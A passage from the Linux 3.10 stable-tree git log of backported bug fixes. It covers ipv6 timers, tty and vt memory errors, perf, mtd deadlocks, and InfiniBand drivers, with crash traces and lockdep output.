    [  541.031241]  [<ffffffff81075c1d>] ? task_cputime+0x2d/0x50
    [  541.031244]  [<ffffffffa01c38d6>] ? addrconf_dad_timer+0x136/0x150 [ipv6]
    [  541.031247]  [<ffffffffa01c37a0>] ? addrconf_dad_completed+0x100/0x100 [ipv6]
    [  541.031255]  [<ffffffff8105313a>] ? call_timer_fn.isra.22+0x2a/0x90
    [  541.031258]  [<ffffffffa01c37a0>] ? addrconf_dad_completed+0x100/0x100 [ipv6]
    
    Hunks and backtrace stolen from a patch by Stephen Hemminger.
    
    Reported-by: Stephen Hemminger <stephen@networkplumber.org>
    Signed-off-by: Stephen Hemminger <stephen@networkplumber.org>
    Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Cc: <stable@vger.kernel.org> # 3.10.y: b7b1bfce: ipv6: split dad and rs timers
    Cc: <stable@vger.kernel.org> # 3.10.y
    [Mike Manning <mmanning@brocade.com>: resolved minor conflicts in addrconf.c]
    Signed-off-by: Mike Manning <mmanning@brocade.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 973d5956f754cfc306f5e274d71503498f4b0324
Author: Hannes Frederic Sowa <hannes@stressinduktion.org>
Date:   Fri Dec 16 10:15:37 2016 +0000

    ipv6: split duplicate address detection and router solicitation timer
    
    commit b7b1bfce0bb68bd8f6e62a28295922785cc63781 upstream.
    
    This patch splits the timers for duplicate address detection and router
    solicitations apart. The router solicitations timer goes into inet6_dev
    and the dad timer stays in inet6_ifaddr.
    
    The reason behind this patch is to reduce the number of unneeded router
    solicitations send out by the host if additional link-local addresses
    are created. Currently we send out RS for every link-local address on
    an interface.
    
    If the RS timer fires we pick a source address with ipv6_get_lladdr. This
    change could hurt people adding additional link-local addresses and
    specifying these addresses in the radvd clients section because we
    no longer guarantee that we use every ll address as source address in
    router solicitations.
    
    Cc: Flavio Leitner <fleitner@redhat.com>
    Cc: Hideaki YOSHIFUJI <yoshfuji@linux-ipv6.org>
    Cc: David Stevens <dlstevens@us.ibm.com>
    Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
    Reviewed-by: Flavio Leitner <fbl@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Cc: <stable@vger.kernel.org> # 3.10.y
    [Mike Manning <mmanning@brocade.com>: resolved conflicts with 36bddb]
    Signed-off-by: Mike Manning <mmanning@brocade.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit af80b973dfd72d733212a1fe874c8252c7749632
Author: Michal Kubeček <mkubecek@suse.cz>
Date:   Fri Dec 16 10:13:51 2016 +0000

    ipv6: don't call fib6_run_gc() until routing is ready
    
    commit 2c861cc65ef4604011a0082e4dcdba2819aa191a upstream.
    
    When loading the ipv6 module, ndisc_init() is called before
    ip6_route_init(). As the former registers a handler calling
    fib6_run_gc(), this opens a window to run the garbage collector
    before necessary data structures are initialized. If a network
    device is initialized in this window, adding MAC address to it
    triggers a NETDEV_CHANGEADDR event, leading to a crash in
    fib6_clean_all().
    
    Take the event handler registration out of ndisc_init() into a
    separate function ndisc_late_init() and move it after
    ip6_route_init().
    
    Signed-off-by: Michal Kubecek <mkubecek@suse.cz>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Cc: <stable@vger.kernel.org> # 3.10.y
    Signed-off-by: Mike Manning <mmanning@brocade.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 349759be02c3e69f6ea8b690450ae1b0b3b1b142
Author: Joe Perches <joe@perches.com>
Date:   Thu Jun 25 15:01:16 2015 -0700

    stddef.h: move offsetofend inside #ifndef/#endif guard, neaten
    
    commit 8c7fbe5795a016259445a61e072eb0118aaf6a61 upstream.
    
    Commit 3876488444e7 ("include/stddef.h: Move offsetofend() from vfio.h
    to a generic kernel header") added offsetofend outside the normal
    include #ifndef/#endif guard.  Move it inside.
    
    Miscellanea:
    
    o remove unnecessary blank line
    o standardize offsetof macros whitespace style
    
    Signed-off-by: Joe Perches <joe@perches.com>
    Cc: Denys Vlasenko <dvlasenk@redhat.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    [wt: backported only for ipv6 out-of-bounds fix]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1ddb79447806c1d50b52e6e009833cd3f0ba0092
Author: Denys Vlasenko <dvlasenk@redhat.com>
Date:   Mon Mar 9 15:52:17 2015 +0100

    include/stddef.h: Move offsetofend() from vfio.h to a generic kernel header
    
    commit 3876488444e71238e287459c39d7692b6f718c3e upstream.
    
    Suggested by Andy.
    
    Suggested-by: Andy Lutomirski <luto@amacapital.net>
    Signed-off-by: Denys Vlasenko <dvlasenk@redhat.com>
    Acked-by: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Alexei Starovoitov <ast@plumgrid.com>
    Cc: Borislav Petkov <bp@alien8.de>
    Cc: Frederic Weisbecker <fweisbec@gmail.com>
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: Kees Cook <keescook@chromium.org>
    Cc: Oleg Nesterov <oleg@redhat.com>
    Cc: Steven Rostedt <rostedt@goodmis.org>
    Cc: Will Drewry <wad@chromium.org>
    Link: http://lkml.kernel.org/r/1425912738-559-1-git-send-email-dvlasenk@redhat.com
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    [wt: backported only for ipv6 out-of-bounds fix]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6cc73a1c190edbf61f85588cc59a3e5bc972aaca
Author: Gavin Shan <gwshan@linux.vnet.ibm.com>
Date:   Fri May 30 11:35:54 2014 -0600

    drivers/vfio: Rework offsetofend()
    
    commit b13460b92093b29347e99d6c3242e350052b62cd upstream.
    
    The macro offsetofend() introduces unnecessary temporary variable
    "tmp". The patch avoids that and saves a bit memory in stack.
    
    Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
    Signed-off-by: Alex Williamson <alex.williamson@redhat.com>
    [wt: backported only for ipv6 out-of-bounds fix]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5812a9bc9d68a82c2cc839f88e6f7a05093ab39d
Author: Scot Doyle <lkml14@scotdoyle.com>
Date:   Thu Oct 13 12:12:43 2016 -0500

    vt: clear selection before resizing
    
    commit 009e39ae44f4191188aeb6dfbf661b771dbbe515 upstream.
    
    When resizing a vt its selection may exceed the new size, resulting in
    an invalid memory access [1]. Clear the selection before resizing.
    
    [1] http://lkml.kernel.org/r/CACT4Y+acDTwy4umEvf5ROBGiRJNrxHN4Cn5szCXE5Jw-d1B=Xw@mail.gmail.com
    
    Reported-and-tested-by: Dmitry Vyukov <dvyukov@google.com>
    Signed-off-by: Scot Doyle <lkml14@scotdoyle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 902fd8d597f6cec01c7d24da38e0a921fdbc6382
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Mon Oct 3 11:00:17 2016 +0200

    tty: vt, fix bogus division in csi_J
    
    commit 42acfc6615f47e465731c263bee0c799edb098f2 upstream.
    
    In csi_J(3), the third parameter of scr_memsetw (vc_screenbuf_size) is
    divided by 2 inappropriatelly. But scr_memsetw expects size, not
    count, because it divides the size by 2 on its own before doing actual
    memset-by-words.
    
    So remove the bogus division.
    
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Cc: Petr Písař <ppisar@redhat.com>
    Fixes: f8df13e0a9 (tty: Clean console safely)
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 350594012a219713e7ad990669c660b29bad2ab2
Author: Dmitry Vyukov <dvyukov@google.com>
Date:   Fri Oct 14 15:18:28 2016 +0200

    tty: limit terminal size to 4M chars
    
    commit 32b2921e6a7461fe63b71217067a6cf4bddb132f upstream.
    
    Size of kmalloc() in vc_do_resize() is controlled by user.
    Too large kmalloc() size triggers WARNING message on console.
    Put a reasonable upper bound on terminal size to prevent WARNINGs.
    
    Signed-off-by: Dmitry Vyukov <dvyukov@google.com>
    CC: David Rientjes <rientjes@google.com>
    Cc: One Thousand Gnomes <gnomes@lxorguk.ukuu.org.uk>
    Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Cc: Jiri Slaby <jslaby@suse.com>
    Cc: Peter Hurley <peter@hurleysoftware.com>
    Cc: linux-kernel@vger.kernel.org
    Cc: syzkaller@googlegroups.com
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 67de5f0a4a9a3c9eb6597c20b20f4e69a47e47b6
Author: Peter Hurley <peter@hurleysoftware.com>
Date:   Fri Nov 27 14:30:21 2015 -0500

    tty: Prevent ldisc drivers from re-using stale tty fields
    
    commit dd42bf1197144ede075a9d4793123f7689e164bc upstream.
    
    Line discipline drivers may mistakenly misuse ldisc-related fields
    when initializing. For example, a failure to initialize tty->receive_room
    in the N_GIGASET_M101 line discipline was recently found and fixed [1].
    Now, the N_X25 line discipline has been discovered accessing the previous
    line discipline's already-freed private data [2].
    
    Harden the ldisc interface against misuse by initializing revelant
    tty fields before instancing the new line discipline.
    
    [1]
        commit fd98e9419d8d622a4de91f76b306af6aa627aa9c
        Author: Tilman Schmidt <tilman@imap.cc>
        Date:   Tue Jul 14 00:37:13 2015 +0200
    
        isdn/gigaset: reset tty->receive_room when attaching ser_gigaset
    
    [2] Report from Sasha Levin <sasha.levin@oracle.com>
        [  634.336761] ==================================================================
        [  634.338226] BUG: KASAN: use-after-free in x25_asy_open_tty+0x13d/0x490 at addr ffff8800a743efd0
        [  634.339558] Read of size 4 by task syzkaller_execu/8981
        [  634.340359] =============================================================================
        [  634.341598] BUG kmalloc-512 (Not tainted): kasan: bad access detected
        ...
        [  634.405018] Call Trace:
        [  634.405277] dump_stack (lib/dump_stack.c:52)
        [  634.405775] print_trailer (mm/slub.c:655)
        [  634.406361] object_err (mm/slub.c:662)
        [  634.406824] kasan_report_error (mm/kasan/report.c:138 mm/kasan/report.c:236)
        [  634.409581] __asan_report_load4_noabort (mm/kasan/report.c:279)
        [  634.411355] x25_asy_open_tty (drivers/net/wan/x25_asy.c:559 (discriminator 1))
        [  634.413997] tty_ldisc_open.isra.2 (drivers/tty/tty_ldisc.c:447)
        [  634.414549] tty_set_ldisc (drivers/tty/tty_ldisc.c:567)
        [  634.415057] tty_ioctl (drivers/tty/tty_io.c:2646 drivers/tty/tty_io.c:2879)
        [  634.423524] do_vfs_ioctl (fs/ioctl.c:43 fs/ioctl.c:607)
        [  634.427491] SyS_ioctl (fs/ioctl.c:622 fs/ioctl.c:613)
        [  634.427945] entry_SYSCALL_64_fastpath (arch/x86/entry/entry_64.S:188)
    
    Cc: Tilman Schmidt <tilman@imap.cc>
    Cc: Sasha Levin <sasha.levin@oracle.com>
    Signed-off-by: Peter Hurley <peter@hurleysoftware.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    [wt: adjust context]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ac74acf2bda7289a5b076407b29f3a075aec830c
Author: Peter Zijlstra <peterz@infradead.org>
Date:   Fri Jan 23 11:19:48 2015 +0100

    perf: Tighten (and fix) the grouping condition
    
    commit c3c87e770458aa004bd7ed3f29945ff436fd6511 upstream.
    
    The fix from 9fc81d87420d ("perf: Fix events installation during
    moving group") was incomplete in that it failed to recognise that
    creating a group with events for different CPUs is semantically
    broken -- they cannot be co-scheduled.
    
    Furthermore, it leads to real breakage where, when we create an event
    for CPU Y and then migrate it to form a group on CPU X, the code gets
    confused where the counter is programmed -- triggered in practice
    as well by me via the perf fuzzer.
    
    Fix this by tightening the rules for creating groups. Only allow
    grouping of counters that can be co-scheduled in the same context.
    This means for the same task and/or the same cpu.
    
    Fixes: 9fc81d87420d ("perf: Fix events installation during moving group")
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
    Cc: Jiri Olsa <jolsa@redhat.com>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Link: http://lkml.kernel.org/r/20150123125834.090683288@infradead.org
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d636f64a48d5b1fe3d9b41e3b907a95fe7926e03
Author: Arnaldo Carvalho de Melo <acme@redhat.com>
Date:   Thu Sep 1 11:00:23 2016 -0300

    perf symbols: Fixup symbol sizes before picking best ones
    
    commit 432746f8e0b6a82ba832b771afe31abd51af6752 upstream.
    
    When we call symbol__fixup_duplicate() we use algorithms to pick the
    "best" symbols for cases where there are various functions/aliases to an
    address, and those check zero size symbols, which, before calling
    symbol__fixup_end() are _all_ symbols in a just parsed kallsyms file.
    
    So first fixup the end, then fixup the duplicates.
    
    Found while trying to figure out why 'perf test vmlinux' failed, see the
    output of 'perf test -v vmlinux' to see cases where the symbols picked
    as best for vmlinux don't match the ones picked for kallsyms.
    
    Cc: Anton Blanchard <anton@samba.org>
    Cc: Adrian Hunter <adrian.hunter@intel.com>
    Cc: David Ahern <dsahern@gmail.com>
    Cc: Jiri Olsa <jolsa@kernel.org>
    Cc: Masami Hiramatsu <mhiramat@kernel.org>
    Cc: Namhyung Kim <namhyung@kernel.org>
    Cc: Wang Nan <wangnan0@huawei.com>
    Fixes: 694bf407b061 ("perf symbols: Add some heuristics for choosing the best duplicate symbol")
    Link: http://lkml.kernel.org/n/tip-rxqvdgr0mqjdxee0kf8i2ufn@git.kernel.org
    Signed-off-by: Arnaldo Carvalho de Melo <acme@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 44e3b0c77781b1cf42dc3c9fbdeb753137980ee3
Author: Karl Beldan <kbeldan@baylibre.com>
Date:   Mon Aug 29 07:45:49 2016 +0000

    mtd: nand: davinci: Reinitialize the HW ECC engine in 4bit hwctl
    
    commit f6d7c1b5598b6407c3f1da795dd54acf99c1990c upstream.
    
    This fixes subpage writes when using 4-bit HW ECC.
    
    There has been numerous reports about ECC errors with devices using this
    driver for a while.  Also the 4-bit ECC has been reported as broken with
    subpages in [1] and with 16 bits NANDs in the driver and in mach* board
    files both in mainline and in the vendor BSPs.
    
    What I saw with 4-bit ECC on a 16bits NAND (on an LCDK) which got me to
    try reinitializing the ECC engine:
    - R/W on whole pages properly generates/checks RS code
    - try writing the 1st subpage only of a blank page, the subpage is well
      written and the RS code properly generated, re-reading the same page
      the HW detects some ECC error, reading the same page again no ECC
      error is detected
    
    Note that the ECC engine is already reinitialized in the 1-bit case.
    
    Tested on my LCDK with UBI+UBIFS using subpages.
    This could potentially get rid of the issue workarounded in [1].
    
    [1] 28c015a9daab ("mtd: davinci-nand: disable subpage write for keystone-nand")
    
    Fixes: 6a4123e581b3 ("mtd: nand: davinci_nand, 4-bit ECC for smallpage")
    Signed-off-by: Karl Beldan <kbeldan@baylibre.com>
    Acked-by: Boris Brezillon <boris.brezillon@free-electrons.com>
    Signed-off-by: Brian Norris <computersforpeace@gmail.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1b47a57fb8548106181a83f5001d930888b75129
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Thu Jul 14 13:44:56 2016 +0300

    mtd: pmcmsp-flash: Allocating too much in init_msp_flash()
    
    commit 79ad07d45743721010e766e65dc004ad249bd429 upstream.
    
    There is a cut and paste issue here.  The bug is that we are allocating
    more memory than necessary for msp_maps.  We should be allocating enough
    space for a map_info struct (144 bytes) but we instead allocate enough
    for an mtd_info struct (1840 bytes).  It's a small waste.
    
    The other part of this is not harmful but when we allocated msp_flash
    then we allocated enough space fro a map_info pointer instead of an
    mtd_info pointer.  But since pointers are the same size it works out
    fine.
    
    Anyway, I decided to clean up all three allocations a bit to make them
    a bit more consistent and clear.
    
    Fixes: 68aa0fa87f6d ('[MTD] PMC MSP71xx flash/rootfs mappings')
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Brian Norris <computersforpeace@gmail.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit bdd7043be1803d359b58fde36a458ee57db25d58
Author: Brian Norris <computersforpeace@gmail.com>
Date:   Mon Oct 26 10:20:23 2015 -0700

    mtd: blkdevs: fix potential deadlock + lockdep warnings
    
    commit f3c63795e90f0c6238306883b6c72f14d5355721 upstream.
    
    Commit 073db4a51ee4 ("mtd: fix: avoid race condition when accessing
    mtd->usecount") fixed a race condition but due to poor ordering of the
    mutex acquisition, introduced a potential deadlock.
    
    The deadlock can occur, for example, when rmmod'ing the m25p80 module, which
    will delete one or more MTDs, along with any corresponding mtdblock
    devices. This could potentially race with an acquisition of the block
    device as follows.
    
     -> blktrans_open()
        ->  mutex_lock(&dev->lock);
        ->  mutex_lock(&mtd_table_mutex);
    
     -> del_mtd_device()
        ->  mutex_lock(&mtd_table_mutex);
        ->  blktrans_notify_remove() -> del_mtd_blktrans_dev()
           ->  mutex_lock(&dev->lock);
    
    This is a classic (potential) ABBA deadlock, which can be fixed by
    making the A->B ordering consistent everywhere. There was no real
    purpose to the ordering in the original patch, AFAIR, so this shouldn't
    be a problem. This ordering was actually already present in
    del_mtd_blktrans_dev(), for one, where the function tried to ensure that
    its caller already held mtd_table_mutex before it acquired &dev->lock:
    
            if (mutex_trylock(&mtd_table_mutex)) {
                    mutex_unlock(&mtd_table_mutex);
                    BUG();
            }
    
    So, reverse the ordering of acquisition of &dev->lock and &mtd_table_mutex so
    we always acquire mtd_table_mutex first.
    
    Snippets of the lockdep output follow:
    
      # modprobe -r m25p80
      [   53.419251]
      [   53.420838] ======================================================
      [   53.427300] [ INFO: possible circular locking dependency detected ]
      [   53.433865] 4.3.0-rc6 #96 Not tainted
      [   53.437686] -------------------------------------------------------
      [   53.444220] modprobe/372 is trying to acquire lock:
      [   53.449320]  (&new->lock){+.+...}, at: [<c043fe4c>] del_mtd_blktrans_dev+0x80/0xdc
      [   53.457271]
      [   53.457271] but task is already holding lock:
      [   53.463372]  (mtd_table_mutex){+.+.+.}, at: [<c0439994>] del_mtd_device+0x18/0x100
      [   53.471321]
      [   53.471321] which lock already depends on the new lock.
      [   53.471321]
      [   53.479856]
      [   53.479856] the existing dependency chain (in reverse order) is:
      [   53.487660]
      -> #1 (mtd_table_mutex){+.+.+.}:
      [   53.492331]        [<c043fc5c>] blktrans_open+0x34/0x1a4
      [   53.497879]        [<c01afce0>] __blkdev_get+0xc4/0x3b0
      [   53.503364]        [<c01b0bb8>] blkdev_get+0x108/0x320
      [   53.508743]        [<c01713c0>] do_dentry_open+0x218/0x314
      [   53.514496]        [<c0180454>] path_openat+0x4c0/0xf9c
      [   53.519959]        [<c0182044>] do_filp_open+0x5c/0xc0
      [   53.525336]        [<c0172758>] do_sys_open+0xfc/0x1cc
      [   53.530716]        [<c000f740>] ret_fast_syscall+0x0/0x1c
      [   53.536375]
      -> #0 (&new->lock){+.+...}:
      [   53.540587]        [<c063f124>] mutex_lock_nested+0x38/0x3cc
      [   53.546504]        [<c043fe4c>] del_mtd_blktrans_dev+0x80/0xdc
      [   53.552606]        [<c043f164>] blktrans_notify_remove+0x7c/0x84
      [   53.558891]        [<c04399f0>] del_mtd_device+0x74/0x100
      [   53.564544]        [<c043c670>] del_mtd_partitions+0x80/0xc8
      [   53.570451]        [<c0439aa0>] mtd_device_unregister+0x24/0x48
      [   53.576637]        [<c046ce6c>] spi_drv_remove+0x1c/0x34
      [   53.582207]        [<c03de0f0>] __device_release_driver+0x88/0x114
      [   53.588663]        [<c03de19c>] device_release_driver+0x20/0x2c
      [   53.594843]        [<c03dd9e8>] bus_remove_device+0xd8/0x108
      [   53.600748]        [<c03dacc0>] device_del+0x10c/0x210
      [   53.606127]        [<c03dadd0>] device_unregister+0xc/0x20
      [   53.611849]        [<c046d878>] __unregister+0x10/0x20
      [   53.617211]        [<c03da868>] device_for_each_child+0x50/0x7c
      [   53.623387]        [<c046eae8>] spi_unregister_master+0x58/0x8c
      [   53.629578]        [<c03e12f0>] release_nodes+0x15c/0x1c8
      [   53.635223]        [<c03de0f8>] __device_release_driver+0x90/0x114
      [   53.641689]        [<c03de900>] driver_detach+0xb4/0xb8
      [   53.647147]        [<c03ddc78>] bus_remove_driver+0x4c/0xa0
      [   53.652970]        [<c00cab50>] SyS_delete_module+0x11c/0x1e4
      [   53.658976]        [<c000f740>] ret_fast_syscall+0x0/0x1c
      [   53.664621]
      [   53.664621] other info that might help us debug this:
      [   53.664621]
      [   53.672979]  Possible unsafe locking scenario:
      [   53.672979]
      [   53.679169]        CPU0                    CPU1
      [   53.683900]        ----                    ----
      [   53.688633]   lock(mtd_table_mutex);
      [   53.692383]                                lock(&new->lock);
      [   53.698306]                                lock(mtd_table_mutex);
      [   53.704658]   lock(&new->lock);
      [   53.707946]
      [   53.707946]  *** DEADLOCK ***
    
    Fixes: 073db4a51ee4 ("mtd: fix: avoid race condition when accessing mtd->usecount")
    Reported-by: Felipe Balbi <balbi@ti.com>
    Tested-by: Felipe Balbi <balbi@ti.com>
    Signed-off-by: Brian Norris <computersforpeace@gmail.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit aa19a88935f6d93b6b5468dc4b8ca4da9cb2ef29
Author: Mark Bloch <markb@mellanox.com>
Date:   Thu Oct 27 16:36:27 2016 +0300

    IB/cm: Mark stale CM id's whenever the mad agent was unregistered
    
    commit 9db0ff53cb9b43ed75bacd42a89c1a0ab048b2b0 upstream.
    
    When there is a CM id object that has port assigned to it, it means that
    the cm-id asked for the specific port that it should go by it, but if
    that port was removed (hot-unplug event) the cm-id was not updated.
    In order to fix that the port keeps a list of all the cm-id's that are
    planning to go by it, whenever the port is removed it marks all of them
    as invalid.
    
    This commit fixes a kernel panic which happens when running traffic between
    guests and we force reboot a guest mid traffic, it triggers a kernel panic:
    
     Call Trace:
      [<ffffffff815271fa>] ? panic+0xa7/0x16f
      [<ffffffff8152b534>] ? oops_end+0xe4/0x100
      [<ffffffff8104a00b>] ? no_context+0xfb/0x260
      [<ffffffff81084db2>] ? del_timer_sync+0x22/0x30
      [<ffffffff8104a295>] ? __bad_area_nosemaphore+0x125/0x1e0
      [<ffffffff81084240>] ? process_timeout+0x0/0x10
      [<ffffffff8104a363>] ? bad_area_nosemaphore+0x13/0x20
      [<ffffffff8104aabf>] ? __do_page_fault+0x31f/0x480
      [<ffffffff81065df0>] ? default_wake_function+0x0/0x20
      [<ffffffffa0752675>] ? free_msg+0x55/0x70 [mlx5_core]
      [<ffffffffa0753434>] ? cmd_exec+0x124/0x840 [mlx5_core]
      [<ffffffff8105a924>] ? find_busiest_group+0x244/0x9f0
      [<ffffffff8152d45e>] ? do_page_fault+0x3e/0xa0
      [<ffffffff8152a815>] ? page_fault+0x25/0x30
      [<ffffffffa024da25>] ? cm_alloc_msg+0x35/0xc0 [ib_cm]
      [<ffffffffa024e821>] ? ib_send_cm_dreq+0xb1/0x1e0 [ib_cm]
      [<ffffffffa024f836>] ? cm_destroy_id+0x176/0x320 [ib_cm]
      [<ffffffffa024fb00>] ? ib_destroy_cm_id+0x10/0x20 [ib_cm]
      [<ffffffffa034f527>] ? ipoib_cm_free_rx_reap_list+0xa7/0x110 [ib_ipoib]
      [<ffffffffa034f590>] ? ipoib_cm_rx_reap+0x0/0x20 [ib_ipoib]
      [<ffffffffa034f5a5>] ? ipoib_cm_rx_reap+0x15/0x20 [ib_ipoib]
      [<ffffffff81094d20>] ? worker_thread+0x170/0x2a0
      [<ffffffff8109b2a0>] ? autoremove_wake_function+0x0/0x40
      [<ffffffff81094bb0>] ? worker_thread+0x0/0x2a0
      [<ffffffff8109aef6>] ? kthread+0x96/0xa0
      [<ffffffff8100c20a>] ? child_rip+0xa/0x20
      [<ffffffff8109ae60>] ? kthread+0x0/0xa0
      [<ffffffff8100c200>] ? child_rip+0x0/0x20
    
    Fixes: a977049dacde ("[PATCH] IB: Add the kernel CM implementation")
    Signed-off-by: Mark Bloch <markb@mellanox.com>
    Signed-off-by: Erez Shitrit <erezsh@mellanox.com>
    Reviewed-by: Maor Gottlieb <maorg@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 52aac91d3a712331ea4a7c99415a6dfc782d875d
Author: Tariq Toukan <tariqt@mellanox.com>
Date:   Thu Oct 27 16:36:26 2016 +0300

    IB/uverbs: Fix leak of XRC target QPs
    
    commit 5b810a242c28e1d8d64d718cebe75b79d86a0b2d upstream.
    
    The real QP is destroyed in case of the ref count reaches zero, but
    for XRC target QPs this call was missed and caused to QP leaks.
    
    Let's call to destroy for all flows.
    
    Fixes: 0e0ec7e0638e ('RDMA/core: Export ib_open_qp() to share XRC...')
    Signed-off-by: Tariq Toukan <tariqt@mellanox.com>
    Signed-off-by: Noa Osherovich <noaos@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1aecb8e4179bb9f5b60f0819b4ddc32f0f9ef6bc
Author: Matan Barak <matanb@mellanox.com>
Date:   Thu Nov 10 11:30:55 2016 +0200

    IB/mlx4: Fix create CQ error flow
    
    commit 593ff73bcfdc79f79a8a0df55504f75ad3e5d1a9 upstream.
    
    Currently, if ib_copy_to_udata fails, the CQ
    won't be deleted from the radix tree and the HW (HW2SW).
    
    Fixes: 225c7b1feef1 ('IB/mlx4: Add a driver Mellanox ConnectX InfiniBand adapters')
    Signed-off-by: Matan Barak <matanb@mellanox.com>
    Signed-off-by: Daniel Jurgens <danielj@mellanox.com>
    Reviewed-by: Mark Bloch <markb@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 95bc51b50455fec08f8058ead67fb92db5fea9e0
Author: Alex Vesker <valex@mellanox.com>
Date:   Mon Sep 12 19:16:18 2016 +0300

    IB/mlx4: Fix incorrect MC join state bit-masking on SR-IOV
    
    commit e5ac40cd66c2f3cd11bc5edc658f012661b16347 upstream.
    
    Because of an incorrect bit-masking done on the join state bits, when
    handling a join request we failed to detect a difference between the
    group join state and the request join state when joining as send only
    full member (0x8). This caused the MC join request not to be sent.
    This issue is relevant only when SRIOV is enabled and SM supports
    send only full member.
    
    This fix separates scope bits and join states bits a nibble each.
    
    Fixes: b9c5d6a64358 ('IB/mlx4: Add multicast group (MCG) paravirtualization for SR-IOV')
    Signed-off-by: Alex Vesker <valex@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b81459c78935e4579a577b2366c5f8878d3c7fee
Author: Alex Vesker <valex@mellanox.com>
Date:   Mon Sep 12 09:55:28 2016 +0300

    IB/ipoib: Don't allow MC joins during light MC flush
    
    commit 344bacca8cd811809fc33a249f2738ab757d327f upstream.
    
    This fix solves a race between light flush and on the fly joins.
    Light flush doesn't set the device to down and unset IPOIB_OPER_UP
    flag, this means that if while flushing we have a MC join in progress
    and the QP was attached to BC MGID we can have a mismatches when
    re-attaching a QP to the BC MGID.
    
    The light flush would set the broadcast group to NULL causing an on
    the fly join to rejoin and reattach to the BC MCG as well as adding
    the BC MGID to the multicast list. The flush process would later on
    remove the BC MGID and detach it from the QP. On the next flush
    the BC MGID is present in the multicast list but not found when trying
    to detach it because of the previous double attach and single detach.
    
    [18332.714265] ------------[ cut here ]------------
    [18332.717775] WARNING: CPU: 6 PID: 3767 at drivers/infiniband/core/verbs.c:280 ib_dealloc_pd+0xff/0x120 [ib_core]
    ...
    [18332.775198] Hardware name: Red Hat KVM, BIOS Bochs 01/01/2011
    [18332.779411]  0000000000000000 ffff8800b50dfbb0 ffffffff813fed47 0000000000000000
    [18332.784960]  0000000000000000 ffff8800b50dfbf0 ffffffff8109add1 0000011832f58300
    [18332.790547]  ffff880226a596c0 ffff880032482000 ffff880032482830 ffff880226a59280
    [18332.796199] Call Trace:
    [18332.798015]  [<ffffffff813fed47>] dump_stack+0x63/0x8c
    [18332.801831]  [<ffffffff8109add1>] __warn+0xd1/0xf0
    [18332.805403]  [<ffffffff8109aebd>] warn_slowpath_null+0x1d/0x20
    [18332.809706]  [<ffffffffa025d90f>] ib_dealloc_pd+0xff/0x120 [ib_core]
    [18332.814384]  [<ffffffffa04f3d7c>] ipoib_transport_dev_cleanup+0xfc/0x1d0 [ib_ipoib]
    [18332.820031]  [<ffffffffa04ed648>] ipoib_ib_dev_cleanup+0x98/0x110 [ib_ipoib]
    [18332.825220]  [<ffffffffa04e62c8>] ipoib_dev_cleanup+0x2d8/0x550 [ib_ipoib]
    [18332.830290]  [<ffffffffa04e656f>] ipoib_uninit+0x2f/0x40 [ib_ipoib]
    [18332.834911]  [<ffffffff81772a8a>] rollback_registered_many+0x1aa/0x2c0
    [18332.839741]  [<ffffffff81772bd1>] rollback_registered+0x31/0x40
    [18332.844091]  [<ffffffff81773b18>] unregister_netdevice_queue+0x48/0x80
    [18332.848880]  [<ffffffffa04f489b>] ipoib_vlan_delete+0x1fb/0x290 [ib_ipoib]
    [18332.853848]  [<ffffffffa04df1cd>] delete_child+0x7d/0xf0 [ib_ipoib]
    [18332.858474]  [<ffffffff81520c08>] dev_attr_store+0x18/0x30
    [18332.862510]  [<ffffffff8127fe4a>] sysfs_kf_write+0x3a/0x50
    [18332.866349]  [<ffffffff8127f4e0>] kernfs_fop_write+0x120/0x170
